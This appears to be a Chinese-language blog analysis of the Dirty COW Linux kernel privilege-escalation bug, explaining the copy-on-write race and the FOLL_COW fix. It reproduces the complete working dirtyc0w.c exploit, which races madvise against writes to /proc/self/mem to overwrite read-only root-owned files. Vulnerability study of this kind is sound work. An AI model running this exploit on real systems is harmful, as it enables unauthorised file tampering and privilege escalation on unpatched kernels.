DirtyCow Linux权限提升漏洞分析
如上图,这个漏洞的特点就是线程竞争导致可以读写的权限被扩大了。其实具体说可能有点绕,就是foll_write标志在row特性执行后去掉了,但是再次执行时却没有检查页表项的有效性,导致我们可以利用另一个线程清空页表。清空的页表由于没有了foll_write权限要求,再次被分配时就不执行row执行机制,导致原本不应该本写的地址拥有了写的权限。
画了个图,感觉应该挺形象的。
/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
void *map;
int f;
struct stat st;
char *name;
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,(uintptr_t) map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
if (argc<3) {
(void)fprintf(stderr, "%s\n",
"usage: dirtyc0w target_file new_content");
return 1; }
pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}
这个漏洞强大的表现在于,不会被一般环境限制,只要是页表在执行row机制的时候,我们就可以想办法竞争清空页表。然后获取只读地址的可写权限。这种漏洞个人感觉利用起来还是比较方便的。不过可惜早就补上了。
看了下以前写的东西,有点复杂化。
其实就这样
正常流程:
第一次处理缺页错误,do_cow_fault->
第二次处理写入权限错误,去掉FOLL_WRITE权限要求->
可以写入cow页面
漏洞流程:
第一次处理缺页错误,do_cow_fault->
第二次处理写入权限错误,去掉FOLL_WRITE权限要求->
madvise unmap内存映射->
第三次调用,又发现缺页错误,且没有FOLL_WRITE,直接获取文件映射内存页,造成越权。
获取的页面本身没有标志,是可写的。
但是如果利用FOLL_WRITE标志去申请,是得不到原始页面的。只能得到一个副本页面。
关键在于第二次分配页面完成后,madvise要竞争获取到执行流程,阻止获取到cow分配的副本页面。
因为页面全部释放,但是第三次请求为follow_page_mask(无FOLL_WRITE)。所以会从新获取原始页面。
重新follow_page_mask(无FOLL_WRITE)时也就是第四次分配页面就可以得到原始页面。
修复增加了FOLL_COW标志
正常流程就变为第二次查找后增加FOL_COW标志,由于FOLL_WRITE标志一直存在。
所以即使页面被竞态释放,但重新生成的原始页面不可能被FOLL_COW标志的follow_page_mask申请到,而是会重新生成cow页面。那么漏洞就不存在了。